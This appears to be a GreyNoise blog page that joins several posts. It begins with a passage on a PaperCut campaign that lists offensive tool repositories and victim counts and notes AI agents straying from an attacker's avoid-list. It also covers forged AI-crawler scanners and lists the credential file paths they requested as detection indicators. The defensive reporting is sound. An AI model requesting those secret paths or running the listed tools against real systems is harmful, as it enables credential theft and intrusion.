RubeusGhostPack/Rubeusarchive
Impacketfortra/impacketarchive
NetExecPennyw0rth/NetExecarchive
SpoolSampleleechristensen/SpoolSamplearchive
Certipy (source)ly4k/Certipyarchive
BloodHound CESpecterOps/BloodHoundgit clone
Mimikatz (source)ParrotSec/mimikatzgit clone
BloodHound.pydirkjanm/BloodHound.pygit clone
SeatbeltGhostPack/Seatbeltgit clone
CertifyGhostPack/Certifygit clone
SharpSploitcobbr/SharpSploitgit clone
EmpireBC-SECURITY/Empiregit clone
VeeamDumperMWR-CyberSec/VeeamDumpergit clone
SharpVeeamDecryptorS3cur3Th1sSh1t/SharpVeeamDecryptorgit clone
CVE-2023-27532 (PoC 1)horizon3ai/CVE-2023-27532git clone
CVE-2023-27532 (PoC 2)sfewer-r7/CVE-2023-27532git clone
pyVmomivmware/pyvmomigit clone
govmomivmware/govmomigit clone
EDR2trashtristanqtn/EDR2trashgit clone
Disable-TamperProtectionAlteredSecurity/Disable-TamperProtectiongit clone
AMSI Bypass PowerShellS3cur3Th1sSh1t/Amsi-Bypass-Powershellgit clone

‍

Targeting and Victimology

This campaign appears to be opportunistic. There is a high concentration of U.S. based targets in the education sector; however, it’s likely that is more attributable to the customer base of PaperCut NG/MF.

The adversary used a list of defined countries to avoid that existed from previous campaigns. It’s currently uncertain why the MCA’s agents deviated, but it is a good example of Agents Gone Wild. The countries to avoid in order were: Russia, China, Hong Kong, Thailand, Iran, Venezuela, Belarus, Kazakhstan, Kyrgyzstan, Tajikistan, Turkmenistan, Uzbekistan, Armenia, Azerbaijan, Moldova, Ukraine, Brazil, Vietnam, Indonesia, Pakistan, Tanzania, Bangladesh, Afghanistan, Turkey, South Africa, Namibia, Nigeria, and Zimbabwe. 

‍

Volume by Country

Country Victims Credential Harvesting OS / Domain Secrets Domain Admin
United States9859311
United Kingdom5940203
France3123121
Spain31208—
Canada241083
Belgium161381
Portugal16951
Australia1584—
Germany15821
Switzerland1491—
Italy1387—
Taiwan121110—
Singapore11101—
Netherlands965—
South Africa9211
Sweden853—
Brazil520—
Malaysia543—
Denmark431—
Ireland432—
New Zealand431—
Argentina310—
India332—
Cambodia222—
Chile211—
Finland211—
Greece210—
Japan200—
Puerto Rico220—
Austria110—
Botswana111—
Bulgaria100—
China100—
Colombia100—
Ecuador100—
Estonia111—
Kazakhstan100—
Lithuania111—
Mexico111—
Namibia110—
Nigeria111—
Pakistan100—
Philippines110—
Poland111—
Romania111—
Saudi Arabia110—
Sri Lanka111—
Zimbabwe110—
Total44028014712

‍

Volume by Industry

Industry Victims Credential Harvesting OS / Domain Secrets Domain Admin
Education204129677
Other / unclassified5132181
Retail / Commercial / Professional services3828162
Real estate / Coworking / Hospitality29206—
IT / MSP / Print reseller25178—
Non-profit / Religious / Charity211692
Unknown (unattributed)1563—
Library / Archive1398—
Manufacturing / Industrial / Energy / Utilities1373—
Government / Public sector963—
Healthcare / Social care832—
Legal832—
Financial / Insurance642—
Total44028014712

‍

GreyNoise will continue monitoring the situation and report updates as needed. 

GreyNoise + CrowdStrike: Real-Time Edge Intelligence in Falcon Next-Gen SIEM and Charlotte Agentic SOAR

Today we’re announcing an expanded integration between GreyNoise and the CrowdStrike Falcon® platform, with new content for CrowdStrike Falcon® Next-Gen SIEM and CrowdStrike Charlotte Agentic SOAR. The expanded integration includes a purpose-built Falcon Next-Gen SIEM dashboard, correlation rules that detect allowed inbound traffic from malicious infrastructure, and SOAR playbooks that bring GreyNoise threat context into automated response workflows. Install the GreyNoise Foundry App to get started.

‍

How CrowdStrike + GreyNoise Helps the SOC 

Every organization is under pressure as AI shortens time-to-exploitation and the volume of new exploits climbs. This is worst for organizations with large perimeter footprints, where edge devices lack the telemetry for real-time observability and alerting.

GreyNoise continuously observes internet-wide scanning and exploitation through a global sensor network, classifying the associated IPs, tagging the exploitation behavior seen, and recording the post-exploitation artifacts and command-and-control infrastructure used. That intelligence provides valuable context on the alerts generated in Falcon Next-Gen SIEM and enriches the workflows in Charlotte Agentic SOAR.

Falcon Next-Gen SIEM unifies detection and response with real-time dashboards, correlation rules, and centralized case management. Charlotte Agentic SOAR then combines structured workflows with agentic reasoning to drive machine-speed response.

Together, GreyNoise’s real-time intelligence adds valuable context inside the Falcon platform: dashboards for real-time edge observability, correlation rules to detect attacks on edge devices, and SOAR playbooks to automate triage and response.

‍

What’s in the Integration

The integration delivers three categories of content.

  1. A Falcon Next-Gen SIEM dashboard visualizes successful inbound connections from GreyNoise-classified malicious IPs.
  2. Falcon Next-Gen SIEM correlation rules detect successful inbound connections from malicious IPs and allowed outbound traffic to C2 infrastructure. 
  3. Charlotte Agentic SOAR playbooks cover active exploitation response, compromised device response, and alert severity recategorization based on GreyNoise threat context.

‍

Falcon Next-Gen SIEM Dashboard: Successful Inbound from Malicious IPs

Correlate inbound allow events from firewall and WAF telemetry in Falcon Next-Gen SIEM against GreyNoise, and surface sessions where known-malicious infrastructure was permitted through the perimeter. Built on Falcon Next-Gen SIEM’s live dashboard capabilities, it gives analysts a view of:

  • Successful inbound sessions from GreyNoise-classified malicious IPs, prioritized by source IP volume
  • The GreyNoise tags and classifications behind each source and what that IP has been observed doing across the internet

‍

Falcon Next-Gen SIEM Correlation Rules: Detecting Successful Connections with Malicious Infrastructure

Falcon Next-Gen SIEM’s correlation rules surface detections that feed directly into its unified detection and response workflow.

‍

Rule 1: Allowed Inbound from Malicious IPs

Triggered by firewall or WAF allow events, this rule flags inbound connections originating from IPs flagged as malicious or suspicious by GreyNoise. This is typically the infrastructure that GreyNoise has observed conducting mass scanning, exploitation, or credential abuse across the internet. This helps you detect perimeter gaps in real time rather than discovering them in incident response after the fact. Each detection is both a session to investigate and a policy gap to close.

‍

Rule 2: Allowed Outbound to Malicious IPs

Internal hosts should not be connecting outbound to malicious infrastructure. When they do, it’s a high-fidelity indicator of compromise: C2 beaconing, data exfiltration, or botnet participation. This rule matches outbound connection events against GreyNoise-classified malicious destinations and surfaces the internal hosts involved.

Outbound volumes are typically too high to investigate anomalies manually; anchoring detection on destinations GreyNoise has observed behaving maliciously makes the problem tractable. That targeted enrichment cuts guesswork during triage and feeds the SOAR playbooks discussed next.

‍

Charlotte Agentic SOAR Playbooks: Automated Response Enabled by Real-time Threat Context 

These playbooks bring GreyNoise context into Charlotte Agentic SOAR, so automated workflows act on real-time observation of attacker activity.

‍

Playbook 1: CVE Exploitation Workflow

Organizations typically don’t see global exploitation spikes against their technology stack until it’s too late. GreyNoise observes surges in scanning and exploitation for specific CVEs as they happen. Oftentimes, this is activity that precedes vendor disclosures and KEV publications.

This playbook ingests GreyNoise CVE exploitation events into Charlotte Agentic SOAR and automates the response: case creation, vulnerability management ticketing, and blocklist updates for the IPs doing the exploiting. This can provide you an early warning when exploitation activity spikes against a CVE relevant to your tech stack.

‍

Playbook 2: Compromised Device Workflow

Most edge devices are embedded systems that can’t run EDR agents. When these devices are compromised, they often scan the internet or call back to attacker-controlled infrastructure without triggering any alerts. 

This playbook runs when GreyNoise observes your own IP ranges conducting unsolicited scanning, or when internal hosts connect to known callback infrastructure. Charlotte Agentic SOAR ingests the alert, enriches with additional context, and creates a case and containment ticket, with persistent issues tracked in a single case timeline through Falcon Next-Gen SIEM’s centralized case management.

‍

Playbook 3: Alert Severity Recategorization Based on GreyNoise IP Context

Analysts spend significant time manually looking up IPs to understand whether an alert really matters. This playbook automatically enriches alerts in Charlotte Agentic SOAR with GreyNoise classification and tags, and helps to determine the threat level. It then applies decision rules to recategorize case severity automatically.

An alert involving an IP GreyNoise has observed conducting active exploitation can be escalated. Enrichment is written to the case, so the rationale is visible to analysts and available to downstream workflows.

‍

Get Started

The GreyNoise Foundry App is available now in the CrowdStrike Marketplace. Install it here to deploy the Falcon Next-Gen SIEM dashboard, correlation rules, and Charlotte Agentic SOAR playbooks in your CrowdStrike environment.

‍

‍

‍

Threat Actors Are Posing as OpenAI, Anthropic and DeepSeek to Target Credentials and Secrets

GreyNoise is observing automated scanners posing as the web crawlers of OpenAI, Anthropic, DeepSeek, and Fortune 500 companies. These forged automated scanners have been observed requesting files often exposed on misconfigured web servers and by other commonly leaked secret and credential methods.

A cluster of scanners impersonating 13 AI crawlers from eight companies requested .env files, cloud access keys, private keys and password stores. Six of those names came from the same 824 addresses in almost identical volume, and within this cluster none of the six requested /robots.txt.

An .env file is where an application keeps database passwords, cloud access keys, API tokens, and other secrets.

‍

Why This Matters

Every program that visits a website announces itself in one line of the request. Chrome says it is Chrome. Googlebot says it is Googlebot. Anthropic's crawler says it is ClaudeBot. Nothing in the request itself proves any of it is true.

AI companies publish crawler names so site owners can allow their crawlers, and address lists so they can verify them. The user agent is a client-supplied header, so a control that checks the name but not the address can be bypassed by forging it.

Threat actors are impersonating AI companies while requesting credentials and secrets. Their ClaudeBot string matches Anthropic's character for character, so no rule keyed on the user agent can tell the two apart. They also forged two of Amazon's crawler names, in even greater volume. Neither matches the user agent Amazon documents.

‍

Key Takeaways

  • Six AI crawler names arrived in matched volume. They belong to Anthropic, OpenAI, Google and Perplexity.
  • The six forged names never requested /robots.txt in this traffic. A real crawler reads that file first to learn a site's rules. Anthropic's real crawler requested it more often than any other path.
  • The requests targeted credentials and secrets. They requested environment files, cloud keys, private keys and password stores.
  • None of the traffic came from the real crawlers' published addresses. All four companies publish the address ranges their crawlers use. We checked every address against every one of those lists. Not one matched.

‍

The Six Forged AI Crawler Names

Between July 28 and August 23, 2026, six AI crawler names belonging to four companies arrived on a single HTTP client fingerprint. Across the 90 days to August 23, that same fingerprint carried more than 1,500 different user agent strings, most of them ordinary browsers.

Almost all of the six-name traffic arrived in August. The largest single day was 23 August.

That fingerprint identifies the software making the requests, not the machine running it. The six names arrived from 824 separate addresses.

Sessions per user agent string on one HTTP client fingerprint, 28 July to 23 August 2026. ClaudeBot is amber. Each bar is one string and the bars are not added. Three other crawler-named strings on this fingerprint are larger than every bar here.

‍

Google-Extended is a word publishers write in robots.txt to opt out of AI training. Google documents that it "doesn't have a separate HTTP request user agent string." No Google crawler sends it. So all 263,849 sessions carrying it here were forged.

‍

Request Behavior

A real crawler reads /robots.txt first, the file where a site states its rules. Under the six forged names, that file was never requested once.

What they asked for instead was credentials. Across all traffic on this one fingerprint, which carried other names besides the six, requests for environment files, cloud access keys, private keys and password stores ran into the millions.

Anthropic's real crawler, measured over the same window by the same method, does the opposite. /robots.txt was the single path it requested most, 12% of its traffic, and it never requested a credential file.

‍

How We Know These Are Not the Real Crawlers

No legitimate AI crawler asks for credentials. These crawlers exist to read pages so an assistant can cite them, and a .env file is not a page. Anthropic's real crawler, measured the same way over the same window, never requested one.

All four companies publish the address ranges their crawlers use. We fetched every one of those lists, and Amazon's as well, and checked every address that sent a forged name against all of them. Not one matched. Over the same window, thousands of sessions carrying the ClaudeBot name did arrive from Anthropic's published addresses. 

The label does not separate them. Almost every session here carries the same Web Crawler label that real crawler traffic carries. It’s also not possible to do network-based blocking, because the 824 addresses are spread across 795 separate /24 networks. The published lists do separate them, since not one of the 824 falls inside any range these four companies publish.

GreyNoise observes requests arriving. Nothing here says a file was returned or that any organization was affected, and we are not naming who is behind it.

‍

Recommendations

Identify this activity using more than the user agent. The 824 addresses sit in 795 separate /24 networks, so there is no single network to block. Wherever a crawler name already grants access or waives a control, check the connecting address against the published list for the name it claims.

For Security Operations

  • Never treat a user agent string as identity. Check the connecting address against the published list for the name it claims
  • Alert on any request for /.env, /.aws/credentials or /.git/config. No crawler has any reason to ask for these, and your own scanners should already be on a known list
  • A crawler that never requests /robots.txt is not behaving like a crawler. Real crawlers cache that file, so judge this across days instead of single visits

‍

For Security Leadership

  • Find every place a user agent string grants access or waives a control, and put a real check behind it
  • Give each vendor address list an owner and a refetch schedule. A stale list turns the real crawler into an alert

‍

For Web and Platform Administrators

  • Keep .env, .git and cloud credential files out of the web root entirely
  • Rotate any cloud key that was ever reachable from a web path, and assume anything readable was read
  • Upgrade Vite to 6.2.3, 6.1.2, 6.0.12, 5.4.15 or 4.5.10

‍

Indicators of Attack

The full list of 824 addresses can be found here.

GreyNoise customers get the complete indicator set by email. That includes the above IPs, every credential path observed, the fingerprint families, and complete JA4+ fingerprints.

The published crawler address lists, so the check in this post can be repeated. Every address that sent a forged name was tested against all of these.

  • https://claude.com/crawling/bots.json
  • https://openai.com/gptbot.json
  • https://openai.com/chatgpt-user.json
  • https://openai.com/searchbot.json
  • https://developers.google.com/static/crawling/ipranges/common-crawlers.json
  • https://developers.google.com/static/crawling/ipranges/special-crawlers.json
  • https://developers.google.com/static/crawling/ipranges/user-triggered-fetchers.json
  • https://www.perplexity.ai/perplexitybot.json
  • https://www.perplexity.ai/perplexity-user.json
  • https://developer.amazon.com/amazonbot/ip-addresses/
  • https://developer.amazon.com/amazonbot/searchbot-ip-addresses/

‍

Impostor client fingerprint (JA4H): We recommend using this for investigation rather than blocking. The fingerprint is half-redacted here; the complete value is available in the Visualizer and in the customer package.

ge11nn05enus_f3bb7a...

‍

Most requested impostor credential paths:

/.env             

/app/.env  

/api/.env  

/backend/.env      

/.env.local

/.env.production  

/.env.old  

/.env.bak  

/.aws/credentials  

/.env.swp

‍

Do Not Alert On These

These belong to Anthropic's real crawler. Do not block or alert on them, and do not import them as indicators.

‍

REAL FINGERPRINT, PAIR WITH A PUBLISHED ADDRESS

ge11nn080000_757a95...    

‍

REAL STRING, SENT BY BOTH

Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)    

‍

VERIFY AGAINST THE PUBLISHED RANGE

216.73.216.0/22    

‍

The user agent string proves nothing on its own, because the real crawler and the impostor both send it. The fingerprint is not enough on its own either. Allow only when the fingerprint and a published address agree.

Each crawler name has its own list. OpenAI publishes separate lists for GPTBot, ChatGPT-User and OAI-SearchBot, so check the name you actually saw against that name's list. All the lists are in the customer package.

‍

Associated GreyNoise tags:

A New Way to Navigate GreyNoise

Over the past year, GreyNoise has moved further right on MITRE ATT&CK, helping defenders detect and investigate activity at the edge, uncover signs of compromise, and analyze the artifacts captured from their own sensors.

Today, we’re introducing a redesigned GreyNoise Visualizer that makes it easier to navigate those capabilities and brings related workflows together in one place.

‍

Organized around how you work

The most noticeable change is the navigation.

Instead of dropdown menus across the top of the Visualizer, the new experience uses a persistent sidebar organized around three areas:

  • Intelligence for investigating IPs and CVEs
  • Observation for working with their own Deception Sensors and exploring the sessions, activity, and post-compromise behavior they capture
  • Automation for actioning on GreyNoise intelligence via alerts, feeds, and blocklists

Dashboards sit at the top, giving you a quick way to return to the intelligence you care about most. 

‍

‍

See the new Visualizer in action

Watch a quick walkthrough of the redesigned Visualizer, including the new navigation, search experience, and updated investigation workflows.

‍

Search from anywhere

Search is now available throughout the Visualizer.

Open it from the sidebar, use Command + K, or start from the Visualizer home page. From the same search experience, you can look across IPs, Callback, CVEs, and Tags.

‍

For IP investigations, we’ve also changed how GreyNoise Query Language (GNQL) queries are displayed. Individual search terms can be shown as badges, making it easier to add or remove filters, switch between AND and OR, and refine a search without rewriting the entire query.

‍

Prefer writing GNQL directly? You can switch back to raw query text at any time.

‍

Intelligence, investigation, and action are closer together

Several workflows that previously lived on separate pages now sit directly alongside the intelligence they relate to.

When you’re investigating scanner IPs, for example, the same query can be used to create an alert or blocklist from the Actions menu. Compare is now a view within IP search rather than a separate destination. IP and CVE bulk analysis now live together under Analysis.

The same principle carries across the Visualizer: related actions are available where you’re already working.

‍

Triage and investigate with more context

When an IP shows up in an alert or investigation, the IP details page brings together the different ways GreyNoise may know about it.

Depending on the address, you may see intelligence from up to three GreyNoise datasets:

  • Scanner for activity GreyNoise has directly observed from the IP as it scanned the internet
  • Callback when the IP has appeared as a destination inside an observed exploit payload
  • Business Service when the IP belongs to a known business service

When an IP appears in more than one dataset, you can move between them directly from the IP page. Scanner activity, related CVEs and tags, callback activity, and business service context are available without moving between separate parts of the Visualizer.

For analysts working through alerts or investigating suspicious infrastructure, that puts more of the context needed to understand an IP in one place.

‍

Your sensors and what they observe, in one place

The Observation section brings together the workflows associated with GreyNoise Deception Sensors. 

From here, you can deploy and manage Deception Sensors, assign profiles, inspect the individual sessions they capture, and review post-compromise activity mapped to MITRE ATT&CK tactics and techniques. Sessions are available as a list, graph, or multi-pane view, with the underlying PCAP available from the individual session.

You can also compare what your sensors observe with the broader GreyNoise sensor network. This helps teams understand what is reaching their own edge, what attackers are doing when they get there, and how that activity compares with what GreyNoise is observing across the internet.

‍

‍

‍

Turn what you find into action

The Automation section brings Alerts, Feeds, and Blocklists together.

You can still manage each independently, but automation is also built directly into the investigation workflow. A useful GNQL search can become an alert that watches for new activity or a continuously updated blocklist. Alerts can also be created directly from the IP, Tag, and CVE workflows where applicable, while Feeds can stream GreyNoise events into downstream systems.

This makes it easier to move from investigating activity in GreyNoise to monitoring it or taking action in your existing tools. 

‍

Try the new Visualizer today

The new Visualizer is available today. If you’re logged in to the Classic Visualizer, click Try the New Visualizer in the upper-right corner. To switch back, click Classic from the new Visualizer header.

‍

Your preference is saved to your GreyNoise account, so it follows you across devices.

For a complete walkthrough of the new navigation, search experience, feature locations, and what moved from the Classic Visualizer, see the New Visualizer Documentation.

‍

‍

GreyNoise Welcomes New SVP of Adversary Operations

Today, I am excited to announce that I am joining GreyNoise as Senior Vice President of Adversary Operations.

Security and intelligence have always been a team effort, which is why I am so excited to join an organization that is fiercely mission-driven, has a great culture, and is completely aligned with the critical need to defend our way of life. Additionally, our founder has a really strong first name which cannot be overstated 😊.

Even more importantly, GreyNoise has developed a world-class capability to address some of the most pressing issues in cybersecurity. Adversaries are targeting edge devices to establish beach heads into network environments and co-opting the infrastructure to proxy follow-on operations. The proliferation of AI systems and tools are helping expedite every aspect of malicious cyber activity to include the discovery of new vulnerabilities, development of exploits, and operationalization of the attack chain. Meanwhile, even the most sophisticated defenders lack organic visibility into edge infrastructure. The systems that sit between our networks and the internet often lack any security features or telemetry collection which leaves defenders blind.

In intrusion investigations, especially involving edge device exploitation, there’s often a significant lag time between when an intrusion occurs and when data is made available to analyze and produce insights.  GreyNoise has been exceedingly great at creating visibility into edge device exploitation and has a demonstrated ability to find novel evil before the victim investigation. 

Before joining GreyNoise, I was Head of Global Signals Operations (GSO) at Google Threat Intelligence Group (GTIG) by way of Google’s acquisition of Mandiant in 2022. GSO included Research and Discovery (RAD), Mandiant Detection Engineering Team (MDET), Validation Research Team (VRT), Technical Collection and Research (TCR), and Global Underground Research (GUR). We used a multidisciplinary approach to fuse different types of visibility into a more complete threat picture and used it to create security and intelligence impact for Google and their customers.

Prior to Mandiant, I served 12 years as an Active Duty United States Marine with roles ranging from ground combat, counterintelligence, human intelligence, and cyberspace operations. I completed multiple tours in Iraq, Afghanistan, and various additional countries in the Asian Pacific. I finished my service at Marine Corps Forces Cyberspace Command countering foreign intelligence and terrorist threats.

At this point, no single organization has access to a complete threat picture, but GreyNoise is leading the charge in providing early visibility into edge device exploitation and helping security and intelligence teams do a better job of defending against emerging threats by identifying what is truly critical. We are going to build on this well-established foundation to move from retroactive awareness to proactive discovery, disclosure, and disruption at the earliest feasible time. 

We are building the Adversary Operations organization to: 

  • Prioritize the systematic exploitation of GreyNoise’s first party telemetry to identify new and novel adversary activity and campaigns
  • Develop and integrate new first, second, and third-party access to more comprehensively understand and counter adversaries
  • Produce and disseminate intelligence about high-impact malicious cyber activity

Together with my teammates, the security and intelligence community, and industry partners, we will expand GreyNoise’s novel access to provide the data, visibility, context, and insights customers need to act decisively and impose cost on adversaries.

‍

-ImposeCost

Introducing Tactics: See What Adversaries Do After They’re Inside

GreyNoise has spent years observing the earliest stages of an attack. Our Global Observation Grid sees adversaries as they scan the internet, probe exposed systems, and attempt to exploit vulnerabilities at the edge. That visibility has traditionally focused on the left side of the MITRE ATT&CK framework, from Reconnaissance through Initial Access and it’s where we built our primary-source intelligence brand.

But we’ve known that is only half the equation.

Moving Further Right on MITRE ATT&CK

Earlier this year, we launched our C2 Detection Module, expanding our visibility beyond inbound scanning to the attacker-controlled infrastructure used after exploitation. GreyNoise reads the callback destinations embedded in exploit payloads to identify where a compromised device would call home, from malware-hosting servers to suspected C2 infrastructure.

This marked our first move right of Initial Access on MITRE ATT&CK, extending visibility beyond the exploit itself to the infrastructure supporting what happens next. Defenders can match outbound traffic from their edge devices against GreyNoise callback intelligence to identify connections to confirmed malware-serving infrastructure or suspected C2 servers.

See Host Telemetry from GreyNoise Deception Sensors on Your Network 

When we launched Project Swarm, we opened our deception platform to the global security community. Participants could deploy GreyNoise Deception Sensors across their own infrastructure that looked like the firewalls, routers, VPN gateways, and other internet-facing systems that adversaries target.

Project Swarm users gained full visibility into the sessions reaching their sensors, including raw payloads, HTTP headers, TLS metadata, and other behavioral artifacts. 

But a common ask from them was deeper visibility into what happened after an exploit succeeded. What shell commands did the adversary run? What files did they touch? What did they try to do next?

Introducing GreyNoise Tactics

Today, we are launching Tactics, giving anyone deploying a GreyNoise Deception Sensor deeper visibility into what attackers do after initial compromise. 

Tactics automatically maps qualifying attacker sessions captured by sensors in your workspace to the MITRE ATT&CK framework. Each detection represents one session and shows the tactics and techniques observed, along with the activity behind the mapping.

You can find Tactics under Observe → Tactics in the GreyNoise Visualizer. Open a detection to:

  • Follow the attacker’s complete command sequence
  • See the commands, scripts, and binaries the adversary executed
  • Inspect files created or modified, including their SHA256 hashes
  • Review outbound connections to internet destinations
  • Identify attempts to move laterally within your address space

Tactics begin populating when your workspace has a sensor running a vulnerable profile. Once an attacker compromises that profile and performs activity mapped to a MITRE ATT&CK technique, the session will appear as a detection.

Routine and unclassified sessions are filtered out, so the view focuses on meaningful adversary behavior rather than every connection your sensor receives.

See What Happens After the Shell

Because GreyNoise captures the attacker’s interaction with the host, Tactics can identify behavior across the post-compromise stages of MITRE ATT&CK.

That includes:

  • Execution: Commands, scripts, and binaries run after gaining access
  • Persistence: Scheduled jobs, new accounts, and other attempts to maintain access
  • Privilege Escalation: Attempts to gain greater control of the host
  • Defense Evasion: Actions intended to hide activity or interfere with protections
  • Credential Access: Searches for cloud credentials, private keys, service account tokens, and other secrets
  • Discovery: Commands used to inspect the operating system, processes, files, and surrounding environment
  • Lateral Movement: Attempts to reach other systems from the initial foothold, a view that keeps expanding as our deception network grows 
  • Collection: Files and data gathered from a system they think they’ve compromised 
  • Command and Control: Connections used to retrieve payloads or maintain access
  • Exfiltration: Attempts to move credentials, files, or other data off the sensor
  • Impact: Activity intended to disrupt the host, consume resources, or interfere with processes

With Tactics, GreyNoise now shows what adversaries do with access, not just how they find and exploit exposed systems.

Turn Observed Behavior Into Action

Every command, file, hash, path, and network connection captured by a sensor gives defenders a lead they can investigate inside their own environment.

  • SOC analysts and detection engineers can build and tune detections around the commands and techniques adversaries are using now.
  • Threat hunters can search production environments for observed hashes, file paths, binaries, and command patterns.
  • Threat intelligence teams can track which tactics and techniques are appearing across infrastructure relevant to their organization.

Because this intelligence comes directly from observed session activity, defenders can work from what the adversary actually did after gaining access. Mapping that activity to MITRE ATT&CK makes it easier to understand and use across existing security workflows.

What We Found After the Shell

Before launching Tactics, we analyzed weeks of post-compromise activity across our own Deception Sensor network in the Global Observation Grid.

Much of what we observed was commodity cryptomining, with adversaries treating each new foothold as more infrastructure to consume. A smaller set of sessions showed more serious behavior, going after cloud credentials, attempting container escapes, or creating backdoor accounts.

We break down these findings in After the Shell, a new GreyNoise research report published today. It examines what adversaries did after gaining access, which behaviors appeared most often, and what those observations mean for defenders.

‍

Join the Swarm

Tactics is available for all users who have deployed a GreyNoise sensor. If you already have a sensor deployed, open Tactics under Observe in the GreyNoise Visualizer to see what it has captured.

If you’re new to Project Swarm, deploy a Greynoise Deception Sensor to start observing what attackers do after compromise.

‍

‍

Enhanced Detection Engineering at Scale in the Agentic Era

Resolving detection coverage gaps is a universal problem across the security industry. Before joining GreyNoise, I led Elastic’s Endpoint Protections security research team which was tasked with building visibility and detection capabilities in their Endpoint Detection and Response (EDR) solution. Researchers, red teamers, and attackers alike would constantly poke, prod, and reverse engineer our EDR’s detection capabilities then broadcast their evasions and bypasses to the masses. However, I always saw this as a unique challenge; iron sharpens iron, after all, and resolving these issues led to an improved product with expanded coverage. I believe this experience suits me well as I transition into my new role as the Head of Adversary Engagement at GreyNoise and lead our detection and deception engineering efforts.

‍

Generative AI’s Impact on CVE Reporting

When GreyNoise was founded in 2018, 16,510 entries were added to the Common Vulnerabilities and Exposures (CVE) system. The number of entries (48,162) added in 2025 shot up to almost triple the number from 2018. Part of this astounding increase in CVEs can be attributed to the sharp rise in the number of CVE Numbering Authorities over the last decade from 23 in 2016 to over 500 by 2026. However, generative AI has had an undeniable impact on the annual number of reported CVEs over the past few years (130% growth from 2022 through 2025) which speaks to an existential crisis currently facing the security industry.

Large language models (LLMs) have lowered the barrier of entry for aspiring vulnerability researchers and exploit developers while significantly enhancing the capabilities of more experienced researchers and attackers. The mean time to exploit CVEs has sharply dropped to the point where it is now slightly negative, meaning that the average vulnerability was likely exploited in the wild before it was reported and assigned a CVE number.

In the face of impactful vulnerabilities and exploits popping up at rates faster than ever, we saw a critical need to revise our approach to threat detection. Our goals are the following:

  • Counteract CVEs by rapidly producing and deploying high efficacy GreyNoise Tags which have been evaluated against an extensive store of recent packet capture data collected from sensors operating on the GreyNoise Global Observation Grid (GOG).
  • Constantly evaluate and revise our tag corpus as needed to ensure accuracy and resilience against false positives.
  • Expand the GOG beyond the edge and build the infrastructure to support Deception Sensor coverage of a wider range of hardware and software platforms.
  • Coerce higher quality interaction with attackers through robust Deception Sensors spanning across multiple resources, which will provide deeper insight into more complex behavior and allow us to deploy tags across all stages of MITRE ATT&CK.
  • Proactively hunt for high confidence signs of previously unknown threats and deploy tags where appropriate.

This article will primarily focus on the first item above, with subsequent articles to come in the following months to highlight the other facets of our evolved threat detection approach.

‍

Traditional Detection Engineering

The typical workflow for a detection engineer after CVE publication may resemble the following:

  • Review the CVE summary and any provided references.
  • Determine whether or not we have the infrastructure in place to capture exploitation of this vulnerability. If we do not, then we will need to research the relevant platform(s) and build new Deception Sensors before we push out tags.
  • Determine the likelihood of exploitation and potential for critical impact to our users.
  • Read any reputable research blogs or vulnerability write-ups (if available).
  • Locate and analyze relevant PoC exploit code (if available).
  • Reverse engineer the vendor patch (if available) and associated binaries or source (if available) to gather further context around the vulnerability and how it may be exploited.
  • Query the GreyNoise dataset for previous reconnaissance and / or exploitation from non-benign entities based on gathered indicators.
  • Craft detection logic which captures associated activity while taking extensive measures to ensure resilience against false positives.
  • Build a GreyNoise Tag, including all relevant metadata and references, and deploy to production.
  • Confirm that relevant Deception Sensors are actively deployed in the GOG to ensure proper data capture.
  • Tune the detection logic at a later point if data volumes become a concern or CVE is trending and we need to refine our detection logic.

As you can see, this is a lot of effort for a lone detection engineer to undertake even for a single CVE. With annual CVE additions on track to hit the hundreds of thousands starting in 2027, it is simply not feasible to continue down this path and provide accurate, up to date intelligence on the most critical emerging threats to our users. Evolving our approach is essential to keep pace with a rapidly shifting threat landscape.

‍

Enhanced Detection Engineering

Allocating the research and development resources required to design, implement, and refine an efficient pipeline accelerated by agentic workflows is a necessary first step towards proactive threat detection at scale. We aim to leverage frontier large language models to reduce friction and remove onerous mental load bottlenecks for our detection engineers, which will allow us to focus on refining detection logic for the most pervasive threats and quickly provide accurate intelligence to our customers.

Agentic workflows will be critical to delivering real world impact in our revised approach to detection engineering. Agents are currently being designed and implemented to carry out the following tasks for a given CVE:

  • Pull down the CVE summary, associated metadata, and ingest data from each linked reference
  • Assess the CVE’s criticality (e.g. CVSS, KEV, operational impact) and whether or not we currently are capable of capturing exploitation
  • Locate and analyze references from trusted third party sources (e.g. vulnerability write-ups, exploit PoC code, patches, firmware samples)
  • Assess the objective quality of all ingested data and determine if sufficient context can be derived to proceed with drafting detection logic
    • If the data is currently lacking, this CVE will be inserted into a queue for re-assessment in the near future
  • Assuming the ingested data exceeds a predetermined quality threshold, an agent will proceed to build a packet query to filter through GreyNoise’s data to identify any recently observed relevant activity, with measures taken to reduce the likelihood of false positives
  • Refined detection logic will then be drafted by an agent which reflects both the key indicators derived from earlier research data ingestion as well as analysis of GreyNoise operational data

‍

At this point, our detection engineers will step in to review the draft detection logic and a detailed summary of all tasks the agents carried out along with key indicators associated with exploitation of the given vulnerability. If further refinement of detection logic is needed, changes can be made at this point and reevaluated against our data to ensure sustained precision.

After a GreyNoise Tag is published, agents will continue to monitor for additional references to collect which may be relevant to a given CVE. These periodic collection tasks will similarly assess the quality and relevance of the data and determine whether it is additive in nature and thus necessitate further revision of our detection logic. Proposed tag updates will be drafted and our detection engineers will be notified for further review and to determine if an update needs to be published.

‍

Moving Forward

This is the first step in a bold new direction for GreyNoise and our capability to assess and detect the most pervasive and critical threats. We look forward to sharing more with you in the coming months!

‍

Now Available: Intelligence Dashboard in the GreyNoise Platform

Every day, GreyNoise's global sensor network observes scans and attacker traffic from hundreds of thousands of IPs across the internet. GreyNoise analyzes that activity to understand what each IP is doing, why it matters, and which tags and CVEs are connected to it. You can explore it all in the Visualizer.

The Intelligence Dashboard, available now, gives that intelligence a home. You can pin any combination of CVEs, tags, countries, IPs, and GNQL queries into one persistent, always-current view. Open it, and the activity you care about is already there, up to date.

‍

‍

See the Intelligence Dashboard in action

The first time you open the Dashboard tab, GreyNoise builds a Daily Intelligence Dashboard for you, stamped with today’s date and populated from what is currently notable across the sensor network. It is a starting point, not something you have to maintain. Edit it, save your own version, or let it regenerate fresh the next day.

Watch how to build a dashboard from scratch, add and configure panels, and save it for ongoing use.

‍

‍

What you can put on a dashboard

A dashboard is a set of panels. Each panel combines a panel type (how the data is shown) with a focus (what it shows activity for).

There are five panel types:

Panel Type What It Shows
Key Numbers Headline counts for your focus: observed IPs, source countries, top classification, and a top tag.
